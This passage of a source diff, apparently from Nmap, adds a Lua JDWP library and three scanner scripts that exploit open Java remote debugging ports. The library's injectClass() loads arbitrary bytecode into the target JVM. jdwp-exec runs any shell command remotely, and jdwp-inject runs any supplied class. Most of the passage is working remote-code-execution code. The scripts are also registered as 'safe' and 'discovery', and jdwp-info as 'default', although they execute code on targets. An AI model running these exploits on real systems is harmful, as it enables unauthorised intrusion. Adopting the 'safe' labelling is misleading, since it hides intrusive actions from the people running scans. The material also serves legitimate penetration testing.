executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data) + return false,data + end + local pos,_ , tag, arrayID + pos, tag = bin.unpack("C",data) + _, arrayID = bin.unpack(">L",data,pos) + return true, arrayID +end + +--- ObjectReference Command Set (9) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference + +--- ReferenceType Command (1) +-- Returns the runtime type of the object. The runtime type will be a class or an array. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param objectID The ID of an object. +--@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object. +function getRuntimeType(socket,id,objectID) + local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID)) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) + return false,data + end + local _,tag,runtime_type = bin.unpack(">CL",data) + stdnse.print_debug("runtime type: %d",runtime_type) + return true,runtime_type +end + +--- InvokeMethod Command (6) +-- Invokes a instance method with specified parameters. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param objectID The ID of an object. +--@param threadID The thread in which to invoke. +--@param classID The class type. +--@param methodID ID of the method to invoke. +--@param numberOfArguments Number of method arguments. +--@arguments Already packed arguments. +--@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. +function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments) + local params + + if numberOfArguments == 0 then + params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) + else + params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments + end + + local command = JDWPCommandPacket:new(id,9,6,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data) + return false,data + end + stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data)) + return true,data +end + +--- StringReference Command Set (10) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference + +--- Value Command (1) +-- Returns the characters contained in the string. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param stringID The ID of a string to read. +--@return (status, data) If status is false result contains an error string, else it contains read string. +function readString(socket,id,stringID) + local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID)) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP readString() error: %s", data) + return false,data + end + local _,result = extract_string(data,0) + return true,result +end + +--- ThreadReference Command Set (11) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference + + +--- Name Command (1) +-- Returns the thread name. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param threadID The ID of a thread. +--@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name. +function getThreadName(socket,id,threadID) + local params = bin.pack(">L",threadID) + local command = JDWPCommandPacket:new(id,11,1,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getThreadName() error: %s", data) + return false,data + end + -- parse data + local _,thread_name = extract_string(data,0) + return true, thread_name +end + +--- Suspend Command (2) +-- Suspends the thread. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param threadID The ID of a thread. +--@return (status, thread_name) If status is false an error string is returned, else it's nil. +function suspendThread(socket,id,threadID) + local params = bin.pack(">L",threadID) + local command = JDWPCommandPacket:new(id,11,2,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP suspendThread() error: %s", data) + return false,data + end + return true, nil +end + +--- Status Command (4) +-- Returns the current status of a thread. +-- +-- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus). +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param threadID The ID of a thread. +--@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data. +function threadStatus(socket,id,threadID) + local params = bin.pack(">L",threadID) + local command = JDWPCommandPacket:new(id,11,4,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP threadStatus() error: %s", data) + return false,data + end + stdnse.print_debug("threadStatus %s",stdnse.tohex(data)) + return true, data +end + +--- ArrayReference Command Set (13) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference + +--- SetValues Command (3) +-- Sets a range of array components. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param objectID The ID of an array object. +--@return (status, data) If status is false an error string is returned, else it's nil. +function setArrayValues(socket,id,objectID,idx,values) + local params = bin.pack(">Lii",objectID,idx,#values) .. values + local command = JDWPCommandPacket:new(id,13,3,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data) + return false,data + end + return true, nil +end + +--- EventRequest Command Set (15) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest + +--- Uses Set Command (1) to set singlesteping to specified thread. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param threadID The ID of the thread. +--@return (status, requestID) If status is false an error string is returned, else it contains assigned request id. +function setThreadSinglestep(socket,id,threadID) + local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set + local command = JDWPCommandPacket:new(id,15,1,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data) + return false,data + end + local _, requestID = bin.unpack(">i",data) + return true, requestID +end + +--- Uses Clear Command (2) to unset singlesteping from a thread by specified event. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param eventID The ID of the thread. +--@return (status, requestID) If status is false an error string is returned, else it's nil. +function clearThreadSinglestep(socket,id,eventID) + local params = bin.pack(">Ci",1,eventID) + local command = JDWPCommandPacket:new(id,15,2,params) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data) + return false,data + end + return true,nil +end + +--- ClassObjectReference Command Set (17) +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference + + +--- ReflectedType Command (1) +-- Returns the reference type reflected by this class object. +-- +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType +-- +--@param socket Socket to use to send the command. +--@param id Packet id. +--@param classObjectID The ID of the object. +--@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type. +function getReflectedType(socket,id,classObjectID) + local _, param + local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID)) + local status, data = executeCommand(socket,command) + if not status then + stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data) + return false,data + end + local reflected_type = { + refTypeTag = nil, + typeID = nil + } + _,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data) + + return true, reflected_type +end + +--- Helper function to find a method ID by its name. +-- +-- @param socket Socket to use for communication. +-- @param class ID of the class whose method we seek. +-- @param methodName Name of the method. +-- @param skipFirst Skip first found method. +function findMethod(socket,class,methodName,skipFirst) + local methods + local methodID + status, methods = getMethodsWithGeneric(socket,0,class) + if not status then + return false + end + for _, method in ipairs(methods) do -- find first constructor and first defineClass() method + stdnse.print_debug(2,"Method name: %s", method.name) + if methodID == nil then + if string.find(method.name,methodName) then + if skipFirst then + skipFirst = false + else + methodID = method.methodID + end + end + end + end + return methodID +end + +--- Tries to inject specified bytes as a java class and create its instance. +-- +-- Returns a table containing following fields: +-- * 'id' Injected class reference ID. +-- * 'instance' Inected calss' instance reference ID. +-- * 'thread' Thread in which the class was injected and instantiated. +-- +-- @param socket Socket to use for communication. +-- @param class_bytes String of bytes of a java class file to inject. +-- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info. +function injectClass(socket,class_bytes) + local classes,status + -- find byte array class id needed to create new array to load our bytecode into + status,classes = getAllClassesWithGeneric(socket,0) + if not status then + stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes) + return false + end + local byteArrayID + for _,class in ipairs(classes) do + if string.find(class.signature,"%[B") then + byteArrayID = class.typeID + break + end + end + if byteArrayID == nil then + stdnse.print_debug("finding byte arrray id failed") + return false + end + stdnse.print_debug("Found byte[] id %d",byteArrayID) + + -- find SecureClassLoader id by signature + status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;") + if not status then + return false + end + local secureClassLoader = classes[1].referenceTypeID + stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader) + -- find SecureClassLoader() constructor + local constructorMethodID = findMethod(socket,secureClassLoader,"",true) + -- find ClassLoader id by signature + status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;") + if not status then + return false + end + local classLoader = classes[1].referenceTypeID + stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID) + -- find ClassLoader's defineClass() method + local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false) + -- find ClassLoader's resolveClass() method + local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false) + if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then + stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID)) + return false + end + + + -- create array to load bytecode into + local arrayID + status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes) + if not status then + stdnse.print_debug("New array failed: %s", arrayID) + return false + end + stdnse.print_debug("Created new byte array of length %d",#class_bytes) + -- set array values + local temp + status, temp = setArrayValues(socket,0,arrayID,0,class_bytes) + if not status then + stdnse.print_debug("Set values failed: %s", temp) + return + end + stdnse.print_debug("Set array values to injected class bytes") + + -- get main thread id + -- in order to load a new class file, thread must be suspended by an event + -- so we set it to singlestep, let it run and it get suspended right away + local threads + status,threads = getAllThreads(socket,0) + if not status then + stdnse.print_debug("get threads failed: %s", threads) + return false + end + local main_thread + local eventID + stdnse.print_debug("Looking for main thread...") + for _,thread in ipairs(threads) do + local thread_name + status, thread_name = getThreadName(socket,0,thread) + if not status then + stdnse.print_debug("getThreadName failed: %s", thread_name) + return false + end + if thread_name == "main" then + stdnse.print_debug("Setting singlesteping to main thread.") + status, eventID = setThreadSinglestep(socket,0,thread) + main_thread = thread + break + end + end + if main_thread == nil then + stdnse.print_debug("couldn't find main thread") + return false + end + -- to trigger the singlestep event, VM must be resumed + stdnse.print_debug("Resuming VM and waiting for single step event from main thread...") + status, _ = resumeVM(socket,0) + -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction + clearThreadSinglestep(socket,0,eventID) + stdnse.print_debug("Cleared singlesteping from main thread.") + + -- instantiate new class loader + local class_loader_instance + status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil) + if not status then + stdnse.print_debug("newClassInstance failed: %s", class_loader_instance) + return false + end + stdnse.print_debug("Created new instance of SecureClassLoader.") + + local injectedClass + -- invoke defineClass with byte array that contains our bytecode + local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 + stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...") + status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs) + if not status then + stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass) + end + -- resolve (Java's way of saying link) loaded class + status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag + if not status then + stdnse.print_debug("invokeObjectMethod failed:") + end + -- extract the injected class' ID + local tag,injectedClassID + _,tag,injectedClassID = bin.unpack(">CL",injectedClass) + + -- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it + -- and for that we need its runtime_type which is Class + local runtime_type + status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class + -- find the getMethods() id + local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false) + status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) + + + stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID) + local sig, reflected_type + status, sig = getSignatureWithGeneric(socket,0,injectedClassID) + stdnse.print_debug("Injected class signature: %s", sig) + status, reflected_type = getReflectedType(socket,0,injectedClassID) + + -- find injected class constructor + local injectedConstructor = findMethod(socket,injectedClassID,"",false) + + if injectedConstructor == nil then + stdnse.print_debug("Couldn't find either evil method or constructor") + return false + end + + -- instantiate our evil class + local injectedClassInstance + status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil) + if not status then + return false, injectedClassInstance + end + injected_class = { + id = injectedClassID, + instance = injectedClassInstance, + thread = main_thread + } + return true, injected_class +end + +return _ENV; diff --git a/scripts/jdwp-exec.nse b/scripts/jdwp-exec.nse new file mode 100644 index 000000000..4ec87f2ce --- /dev/null +++ b/scripts/jdwp-exec.nse @@ -0,0 +1,86 @@ +local jdwp = require "jdwp" +local stdnse = require "stdnse" +local nmap = require "nmap" +local shortport = require "shortport" +local string = require "string" + +description = [[ +Script to exploit java's remote debugging port. + +When remote debugging port is left open, it is possible to inject +java bytecode and achieve remote code execution. + +Script abuses this to inject and execute Java class file that +executes the supplied shell command and returns its output. + +The script injects the JDWPSystemInfo class from +nselib/jdwp-class/ and executes its run() method which +accepts a shell command as its argument. + +]] + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"safe","discovery"} + +--- +-- @usage nmap -sT -p --script=+jdwp-exec --script-args cmd="date" +-- +-- @args cmd Command to execute on the remote system. +-- +-- @output +-- PORT STATE SERVICE REASON +-- 2010/tcp open search syn-ack +-- | jdwp-exec: +-- | date output: +-- | Sat Aug 11 15:27:21 Central European Daylight Time 2012 +-- |_ + +portrule = function(host, port) + -- JDWP will close the port if there is no valid handshake within 2 + -- seconds, Service detection's NULL probe detects it as tcpwrapped. + return port.service == "tcpwrapped" + and port.protocol == "tcp" and port.state == "open" + and not(shortport.port_is_excluded(port.number,port.protocol)) +end + +action = function(host, port) + stdnse.sleep(5) -- let the remote socket recover from connect() scan + local status,socket = jdwp.connect(host,port) -- initialize the connection + if not status then + stdnse.print_debug("error, %s",socket) + end + + -- read .class file + local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb") + local class_bytes = file:read("*all") + + -- inject the class + local injectedClass + status,injectedClass = jdwp.injectClass(socket,class_bytes) + -- find injected class method + local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) + + if runMethodID == nil then + stdnse.print_debug("Couldn't find run method.") + return false + end + -- set run() method argument + local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd') + if cmd == nil then + stdnse.print_debug("This script requires a cmd argument to be specified.") + return false + end + local cmdID + status,cmdID = jdwp.createString(socket,0,cmd) + local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag + -- invoke run method + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs) + -- get the result string + local stringID + _,_,stringID = bin.unpack(">CL",result) + status,result = jdwp.readString(socket,0,stringID) + return stdnse.format_output(true,result) +end + diff --git a/scripts/jdwp-info.nse b/scripts/jdwp-info.nse new file mode 100644 index 000000000..adc9a0909 --- /dev/null +++ b/scripts/jdwp-info.nse @@ -0,0 +1,87 @@ +local jdwp = require "jdwp" +local stdnse = require "stdnse" +local nmap = require "nmap" +local shortport = require "shortport" +local string = require "string" + +description = [[ +Script to exploit java's remote debugging port. + +When remote debugging port is left open, it is possible to inject +java bytecode and achieve remote code execution. + +Script abuses this to inject and execute Java class file that +returns remote system information. +]] + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"default","safe","discovery"} + +--- +-- @usage nmap -sT -p --script=+jdwp-info +-- @output +-- PORT STATE SERVICE REASON +-- 2010/tcp open search syn-ack +-- | jdwp-info: +-- | Available processors: 1 +-- | Free memory: 15331736 +-- | File system root: A:\ +-- | Total space (bytes): 0 +-- | Free space (bytes): 0 +-- | File system root: C:\ +-- | Total space (bytes): 42935926784 +-- | Free space (bytes): 29779054592 +-- | File system root: D:\ +-- | Total space (bytes): 0 +-- | Free space (bytes): 0 +-- | Name of the OS: Windows XP +-- | OS Version : 5.1 +-- | OS patch level : Service Pack 3 +-- | OS Architecture: x86 +-- | Java version: 1.7.0_01 +-- | Username: user +-- | User home: C:\Documents and Settings\user +-- |_ System time: Sat Aug 11 15:21:44 CEST 2012 + +portrule = function(host, port) + -- JDWP will close the port if there is no valid handshake within 2 + -- seconds, Service detection's NULL probe detects it as tcpwrapped. + return port.service == "tcpwrapped" + and port.protocol == "tcp" and port.state == "open" + and not(shortport.port_is_excluded(port.number,port.protocol)) +end + +action = function(host, port) + stdnse.sleep(5) -- let the remote socket recover from connect() scan + local status,socket = jdwp.connect(host,port) -- initialize the connection + if not status then + stdnse.print_debug("error, %s",socket) + end + + -- read .class file + local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb") + local class_bytes = file:read("*all") + + -- inject the class + local injectedClass + status,injectedClass = jdwp.injectClass(socket,class_bytes) + -- find injected class method + local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) + + if runMethodID == nil then + stdnse.print_debug("Couldn't find run method.") + return false + end + + -- invoke run method + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) + -- get the result string + local stringID + _,_,stringID = bin.unpack(">CL",result) + status,result = jdwp.readString(socket,0,stringID) + -- parse results + return stdnse.format_output(true,result) +end + diff --git a/scripts/jdwp-inject.nse b/scripts/jdwp-inject.nse new file mode 100644 index 000000000..b149896e4 --- /dev/null +++ b/scripts/jdwp-inject.nse @@ -0,0 +1,79 @@ +local jdwp = require "jdwp" +local stdnse = require "stdnse" +local nmap = require "nmap" +local shortport = require "shortport" +local string = require "string" + +description = [[ +Script to exploit java's remote debugging port. + +When remote debugging port is left open, it is possible to inject +java bytecode and achieve remote code execution. + +After injection, class' run() method is executed. +Method run() has no parameters, and is expected to return a string. + +You can specify your own .class file to inject by filename argument. +See nselib/data/jdwp-class/README for more. +]] + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"safe","discovery"} + +--- +-- @usage nmap -sT -p --script=+jdwp-inject --script-args filename=HelloWorld.class +-- +-- @args filename Java .class file to inject. +-- @output +-- PORT STATE SERVICE REASON +-- 2010/tcp open search syn-ack +-- | jdwp-inject: +-- |_ Hello world from the remote machine! +-- +portrule = function(host, port) + -- JDWP will close the port if there is no valid handshake within 2 + -- seconds, Service detection's NULL probe detects it as tcpwrapped. + return port.service == "tcpwrapped" + and port.protocol == "tcp" and port.state == "open" + and not(shortport.port_is_excluded(port.number,port.protocol)) +end + +action = function(host, port) + stdnse.sleep(5) -- let the remote socket recover from connect() scan + local status,socket = jdwp.connect(host,port) -- initialize the connection + if not status then + stdnse.print_debug("error, %s",socket) + end + + -- read .class file + local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename') + if filename == nil then + stdnse.print_debug("This script requires a .class file to inject.") + return false + end + local file = io.open(nmap.fetchfile(filename), "rb") + local class_bytes = file:read("*all") + + -- inject the class + local injectedClass + status,injectedClass = jdwp.injectClass(socket,class_bytes) + -- find injected class method + local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false) + + if runMethodID == nil then + stdnse.print_debug("Couldn't find run method.") + return false + end + + -- invoke run method + local result + status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) + -- get the result string + local stringID + _,_,stringID = bin.unpack(">CL",result) + status,result = jdwp.readString(socket,0,stringID) + -- parse results + return stdnse.format_output(true,result) +end + diff --git a/scripts/script.db b/scripts/script.db index f0196c285..5c91994c3 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -222,6 +222,9 @@ Entry { filename = "irc-unrealircd-backdoor.nse", categories = { "exploit", "int Entry { filename = "iscsi-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "iscsi-info.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "isns-info.nse", categories = { "discovery", "safe", } } +Entry { filename = "jdwp-exec.nse", categories = { "discovery", "safe", } } +Entry { filename = "jdwp-info.nse", categories = { "default", "discovery", "safe", } } +Entry { filename = "jdwp-inject.nse", categories = { "discovery", "safe", } } Entry { filename = "jdwp-version.nse", categories = { "version", } } Entry { filename = "krb5-enum-users.nse", categories = { "auth", "intrusive", } } Entry { filename = "ldap-brute.nse", categories = { "brute", "intrusive", } }